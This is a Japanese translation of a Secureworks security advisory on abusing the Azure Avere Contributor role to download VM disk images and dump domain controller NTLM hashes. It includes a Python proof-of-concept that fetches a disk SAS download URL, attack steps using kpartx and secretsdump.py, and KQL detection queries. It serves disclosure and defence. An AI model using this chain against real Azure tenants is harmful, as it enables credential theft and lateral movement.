※本記事は、https://www.secureworks.com/ で公開されている Permissive Avere Contributor Role Allows Virtual Machine Credential Dumping を翻訳したもので、 2024年8月23日執筆時点の見解となります。
概要
Secureworks® Counter Threat Unit™(CTU)リサーチャーは、Microsoft Azureにおける不正な権限昇格の可能性を特定しました。攻撃者がAzureロールベースのアクセス制御(Azure RBAC)のAvere Contributorロールを取得することで、Azureテナント内の任意のストレージアカウントのアクセスキーを取得したり、テナント内の任意の仮想マシン(VM)のディスクイメージのバックアップを作成できたりする可能性があります。この攻撃チェーンでは、Avere Contributorロールを使ってバックアップドメインコントローラーのVMディスクイメージを攻撃者が管理するシステムにコピーしたうえで、Impacketのsecretsdump.py スクリプトを使用してドメインコントローラーのNTLM ハッシュを抽出します。
Avere Contributorロール
Avere Contributorロールは、Avere vFXT for Azure (“データ集約型のハイパフォーマンスコンピューティング(HPC)タスク向けのファイルシステムキャッシュソリューション”)に関連するものです。このロールは、クラスターの作成と管理に関する多くのアクション を実行できます。CTU™リサーチャーによって特定された攻撃チェーンに関連するアクションは以下のとおりです。
- Microsoft.Storage/storageAccounts/*
- Microsoft.Compute/disks/*
Microsoft.Storage/storageAccounts/*アクションを使うと、ストレージアカウントに対してlistKeysコマンドを実行できます。攻撃者にこの情報を利用されると、CloudShellストレージアカウントなど、テナント内のあらゆるストレージアカウントについて完全なアクセス権を取得される可能性があります。
Microsoft.Compute/disks/*アクションを使うと、組織のテナント内の任意のVMのディスクイメージをコピーできます。これが攻撃者に悪用されると、組織のサブスクリプション内の機密性の高いVMのバックアップコピー(VMDKファイル)が作成され、ダウンロードされる可能性があります。その結果、VMから機密情報が抽出されることになります。データには、ローカルアカウントのNTLMハッシュのほか、VMがドメインコントローラーであればドメインアカウントやクラウドアカウントのNTLMキャッシュまでもが含まれることがあります。さらに、これら以外の機密情報が含まれる可能性もあります。
概念実証
概念実証のため、CTUリサーチャーは以下のPythonコードを作成しました。このコードは、VMのバックアップをダウンロードするためのリンクを生成するものです。
def get_backup_url(token, subscriptionId, resourceGroup, vmDiskImage): url = "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/ {resourceGroup}/providers/Microsoft.Compute/disks/{vmDiskImage}/BeginGetAccess?api-version=2022-03-02" headers = { "x-ms-client-session-id": "cb8c32a0f31e46f890d7e46b61b63cd9", "x-ms-command-name": "Microsoft_Azure_DiskMgmt.", "accept-language": "en", "authorization": f"Bearer {token}", "x-ms-effective-locale": "en.en-us", "content-type": "application/json", "accept": "*/*", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0", "x-ms-client-request-id": "c7255382-42a5-486a-ba20-9c0ad90ea004", "origin": "https://portal.azure.com", "sec-fetch-site": "same-site", "sec-fetch-mode": "cors", "sec-fetch-dest": "empty", "accept-encoding": "gzip, deflate, br", } data = { "access":"read", "durationInSeconds": 3600000 } req = requests.post(url, headers=headers, json=data) if req.status_code == 202: try: for k,v in req.headers.items(): if k.lower() == 'location': redirect_url = v req2 = requests.get(redirect_url, headers=headers) if req2.status_code == 200: r = req2.json() disk_download_url = r["accessSAS"] print (f"[ + ] Found DC Disk VM Download URL: {disk_download_url}") print (f"[ + ] Click above link to download VHD of Target Domain Controller, then follow the steps here to extract the secrets: https://drmarmar.com/vmdk-credentials") return True else: print (f"[ ! ] GetBackupUrlError: Invalid Status Code for redirect_uri: StatusCode: {req2.status_code}\r\n\r\n{req2.text}") exit() except Exception as e: print (f"[ ! ] GetBackupUrlError: Location Header Not Found: {e}") exit() else: print (f"[ ! ] GetBackupUrlError: Invalid Status Code: {req.status_code}\r\n\r\n{req.text}") exit()
このコードを実行すると、バックアップ用のVMディスクイメージを作成し、ストレージアカウントに格納するためのリクエストがAzureに送信されます。Azureは、要求されたアクションを実行し、応答としてバックアップディスクイメージのShared Access Signature(SAS)URI を返します(図1を参照)。ブラウザーでこのURLを開くと、ディスクイメージがダウンロードされます。
図1. 要求されたディスクイメージのダウンロードURLが含まれているAzureからの応答(出典:Secureworks)
次に、攻撃者は、kpartx などのツールを使用して、ダウンロードしたディスクイメージを攻撃者が管理するLinuxシステム上でパーティション分割します(図2を参照)。
図2. ディスクイメージのパーティション分割(出典:Secureworks)
システム上でVMDKファイルをパーティション分割した後、攻撃者は、そのパーティションをローカルディレクトリ(/mnt/tmp)にマウントします(図3を参照)。
図3. パーティションのマウント(出典:Secureworks)
最後に、攻撃者は、Impacketのsecretsdump.pyスクリプトを使用して、組織のドメインのハッシュが含まれるntds.ditファイルをダンプします(図4を参照)。
図4. ntds.ditファイルをダンプするスクリプト(出典:Secureworks)
組織がテナントでパスワード同期を有効にしていたり、ユーザーがAzureアカウントのパスワードを再利用したりしていると、クラックされたNTLMハッシュによって侵害の範囲がさらに拡大する可能性があります。攻撃者が組織の内部にアクセスできるようになった結果、Pass-the-Hash 攻撃により、ネットワーク内での横展開が発生するおそれがあるからです。
検知
CTUリサーチャーは、ユーザーがバックアップ用のVMディスクイメージの作成を試行したかどうかを判断するために、以下のKQLクエリを作成しました。
AzureActivity | where OperationNameValue == "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION"
以下は、上記クエリの改変版です。こちらでは、ディスクイメージ作成の試行がAvere Contributorロールのユーザーによるものかどうかを識別します。
AzureActivity | where OperationNameValue == "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION" | where tostring(parse_json(Authorization).evidence.role) == "Avere Contributor"
Microsoft社とのやり取り
CTUリサーチャーは、2024年3月23日にこの問題をMicrosoftセキュリティレスポンスセンター(MSRC)に報告し、5月7日に以下の回答を受け取りました。
[調査]の結果、当社チームはこれが[脆弱性]ではないと判断しました。ご報告いただいた権限に関連する動作は意図したもので[ある]と考えられ、権限昇格ではありません。今回いただいたご報告は、機能のリクエストに近いものであると思われます。また、当社は先日、このソリューションを2025年末までに廃止することを発表したこともお伝えしておきたいと思います。もっとも、今回のご報告は製品やサービスの保守を担当するチームと共有させていただきました。そのため、このチームが報告内容を確認のうえ、お客様を保護するために必要な変更や適切な措置を検討する可能性があります。
結論
攻撃者がAvere Contributorロールを悪用すると、VMのディスクイメージがダウンロードされ、そのVMDKファイルから機密情報が抽出される可能性があります。機密情報が抽出されると、Azureテナント内で昇格された権限が取得され、ネットワーク環境内で攻撃者による横展開が可能になるおそれがあります。